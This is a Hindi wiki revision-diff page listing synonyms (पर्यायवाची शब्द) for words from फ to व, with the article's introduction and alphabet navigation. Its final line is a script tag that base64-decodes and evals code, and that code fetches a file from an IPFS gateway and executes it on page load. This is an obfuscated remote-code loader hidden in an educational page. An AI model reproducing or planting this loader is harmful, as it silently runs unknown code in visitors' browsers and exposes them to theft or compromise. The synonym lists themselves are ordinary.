"पर्यायवाची शब्द" के अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
पंक्ति 166: | पंक्ति 166: | ||
* '''पुष्प'''- फूल, सुमन, कुसुम, मंजरी, प्रसून, पुहुप। | * '''पुष्प'''- फूल, सुमन, कुसुम, मंजरी, प्रसून, पुहुप। | ||
===फ=== | ===फ=== | ||
+ | *'''फूल''' - पुष्प, सुमन, कुसुम, गुल, प्रसून। | ||
===ब=== | ===ब=== | ||
− | |||
* '''बादल'''- मेघ, घन, जलधर, जलद, वारिद, नीरद, सारंग, पयोद, पयोधर। | * '''बादल'''- मेघ, घन, जलधर, जलद, वारिद, नीरद, सारंग, पयोद, पयोधर। | ||
* '''बालू'''- रेत, बालुका, सैकत। | * '''बालू'''- रेत, बालुका, सैकत। | ||
* '''बन्दर'''- वानर, कपि, कपीश, हरि। | * '''बन्दर'''- वानर, कपि, कपीश, हरि। | ||
* '''बिजली'''- घनप्रिया, इन्द्र्वज्र, चंचला, सौदामनी, चपला, दामिनी, ताडित, विद्युत। | * '''बिजली'''- घनप्रिया, इन्द्र्वज्र, चंचला, सौदामनी, चपला, दामिनी, ताडित, विद्युत। | ||
− | + | *'''बगीचा''' - बाग़, वाटिका, उपवन, उद्यान, फुलवारी, बगिया। | |
+ | *'''बाण''' - सर, तीर, सायक, विशिख, शिलीमुख, नाराच। | ||
+ | *'''बाल''' - कच, केश, चिकुर, चूल। | ||
+ | *'''ब्रह्मा''' - विधि, विधाता, स्वयंभू, प्रजापति, पितामह, चतुरानन, विरंचि, अज, कर्तार, कमलासन, नाभिजन्म, हिरण्यगर्भ। | ||
+ | *'''बलदेव''' - बलराम, बलभद्र, हलायुध, राम, मूसली, रोहिणेय, संकर्षण। | ||
+ | *'''बहुत''' - अनेक, अतीव, अति, बहुल, प्रचुर, अपरिमित, प्रभूत, अपार, अमित, अत्यन्त, असंख्य। | ||
+ | *'''ब्राह्मण''' - द्विज, भूदेव, विप्र, महीदेव, भूमिसुर, भूमिदेव। | ||
===भ=== | ===भ=== | ||
− | + | *'''भय''' - भीति, डर, विभीषिका। | |
+ | *'''भाई''' - तात, अनुज, अग्रज, भ्राता, भ्रातृ। | ||
* '''भूषण'''- जेवर, गहना, आभूषण, अलंकार। | * '''भूषण'''- जेवर, गहना, आभूषण, अलंकार। | ||
− | + | *'''भौंरा''' - मधुप, मधुकर, द्विरेप, अलि, षट्पद, भृंग, भ्रमर। | |
===म=== | ===म=== | ||
− | |||
* '''मनुष्य'''- आदमी, नर, मानव, मानुष, मनुज। | * '''मनुष्य'''- आदमी, नर, मानव, मानुष, मनुज। | ||
* '''मदिरा'''- शराब, हाला, आसव, मधु, मद। | * '''मदिरा'''- शराब, हाला, आसव, मधु, मद। | ||
पंक्ति 189: | पंक्ति 195: | ||
===य=== | ===य=== | ||
− | + | *'''[[यमराज|यम]]''' - सूर्यपुत्र, जीवितेश, श्राद्धदेव, कृतांत, अन्तक, धर्मराज, दण्डधर, कीनाश, यमराज। | |
− | + | *'''[[यमुना]]''' - कालिन्दी, सूर्यसुता, रवितनया, तरणि-तनूजा, तरणिजा, अर्कजा, भानुजा। | |
+ | *'''युवति''' - युवती, सुन्दरी, श्यामा, किशोरी, तरुणी, नवयौवना। | ||
===र=== | ===र=== | ||
− | + | *'''रमा''' - इन्दिरा, हरिप्रिया, श्री, लक्ष्मी, कमला, पद्मा, पद्मासना, समुद्रजा, श्रीभार्गवी, क्षीरोदतनया। | |
* '''रात'''- रात्रि, रैन, रजनी, निशा, यामिनी, तमी, निशि, यामा, विभावरी। | * '''रात'''- रात्रि, रैन, रजनी, निशा, यामिनी, तमी, निशि, यामा, विभावरी। | ||
* '''राजा'''- नृप, नृपति, भूपति, नरपति, नृप, भूप, भूपाल, नरेश, महीपति, अवनीपति। | * '''राजा'''- नृप, नृपति, भूपति, नरपति, नृप, भूप, भूपाल, नरेश, महीपति, अवनीपति। | ||
− | + | *'''रात्रि''' - निशा, क्षया, रैन, रात, यामिनी, शर्वरी, तमस्विनी, विभावरी। | |
+ | *'''[[राम|रामचन्द्र]]''' - अवधेश, सीतापति, राघव, रघुपति, रघुवर, रघुनाथ, रघुराज, रघुवीर, रावणारि, जानकीवल्लभ, कमलेन्द्र, कौशल्यानन्दन। | ||
+ | *'''[[रावण]]''' - दशानन, लंकेश, लंकापति, दशशीश, दशकंध, दैत्येन्द्र। | ||
+ | *'''[[राधा|राधिका]]''' - राधा, ब्रजरानी, हरिप्रिया, वृषभानुजा। | ||
===ल=== | ===ल=== | ||
− | + | *'''लड़का''' - बालक, शिशु, सुत, किशोर, कुमार। | |
− | * '''लक्ष्मी'''- कमला, पद्मा, रमा, हरिप्रिया, श्री, | + | *'''लड़की''' - बालिका, कुमारी, सुता, किशोरी, बाला, कन्या। |
− | + | * '''लक्ष्मी'''- कमला, पद्मा, रमा, हरिप्रिया, श्री, इंदिरा, पद्मजा, सिन्धुसुता, कमलासना। | |
+ | *'''लक्ष्मण''' - लखन, शेषावतार, सौमित्र, रामानुज, शेष। | ||
+ | *'''लौह''' - अयस, लोहा, सार। | ||
+ | *'''लता''' - बल्लरी, बल्ली, बेली। | ||
===व=== | ===व=== | ||
− | + | *'''वायु''' - हवा, पवन, समीर, अनिल, वात, मारुत। | |
+ | *'''वसन''' - अम्बर, वस्त्र, परिधान, पट, चीर। | ||
+ | *'''विधवा''' - अनाथा, पतिहीना, राँड़। | ||
* '''विष'''- ज़हर, हलाहल, गरल, कालकूट। | * '''विष'''- ज़हर, हलाहल, गरल, कालकूट। | ||
* '''वृक्ष'''- पेड़, पादप, विटप, तरू, गाछ, दरख्त, शाखी, विटप, द्रुम। | * '''वृक्ष'''- पेड़, पादप, विटप, तरू, गाछ, दरख्त, शाखी, विटप, द्रुम। | ||
* '''[[विष्णु]]'''- नारायण, दामोदर, पीताम्बर, चक्रपाणी। | * '''[[विष्णु]]'''- नारायण, दामोदर, पीताम्बर, चक्रपाणी। | ||
− | + | *'''विश्व''' - जगत, जग, भव, संसार, लोक, दुनिया। | |
+ | *'''विद्युत''' - चपला, चंचला, दामिनी, सौदामिनी, तड़ित, बीजुरी, घनवल्ली, क्षणप्रभा, करका। | ||
+ | *'''वारिश''' - वर्षण, वृष्टि, वर्षा, पावस, बरसात। | ||
+ | *'''वीर्य''' - जीवन, सार, तेज, शुक्र, बीज। | ||
+ | *'''वज्र''' - कुलिस, पवि, अशनि, दभोलि। | ||
+ | *'''विशाल''' - विराट, दीर्घ, वृहत, बड़ा, महा, महान। | ||
+ | *'''वृक्ष''' - गाछ, तरु, पेड़, द्रुम, पादप, विटप, शाखी। | ||
===श=== | ===श=== | ||
09:45, 15 अगस्त 2015 का अवतरण
- पर्यायवाची शब्द (समानार्थी शब्द / Synonyms Word)
जिन शब्दों के अर्थ में समानता होती है, उन्हें समानार्थक या पर्यायवाची शब्द कहते है या किसी शब्द-विशेष के लिए प्रयुक्त समानार्थक शब्दों को पर्यायवाची शब्द कहते हैं। यद्यपि पर्यायवाची शब्दों के अर्थ में समानता होती है, लेकिन प्रत्येक शब्द की अपनी विशेषता होती है और भाव में एक-दूसरे से किंचित भिन्न होते हैं। पर्यायवाची शब्दों का प्रयोग करते हुए विशेष सावधानी बरतनी चाहिए। अत: पर्यायवाची का अर्थ है - समान अर्थ देने वाल़ा । हिन्दी भाषा में एक शब्द के समान अर्थ वाले कई शब्द हमें मिल जाते हैं।
वर्णमाला क्रमानुसार पर्यायवाची शब्द
| ||||||||||||||||||||||||||||||||||||||||||||||||
अ
आ
इ
ई
उ
ऊ
ए
ओ
औ
ऋ
क
ख
ग
घ
च
छ
ज
झ
टठडत
द
|
ध
न
प
फ
ब
भ
म
य
र
ल
व
श
श्रषस
ह
त्रज्ञ |
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>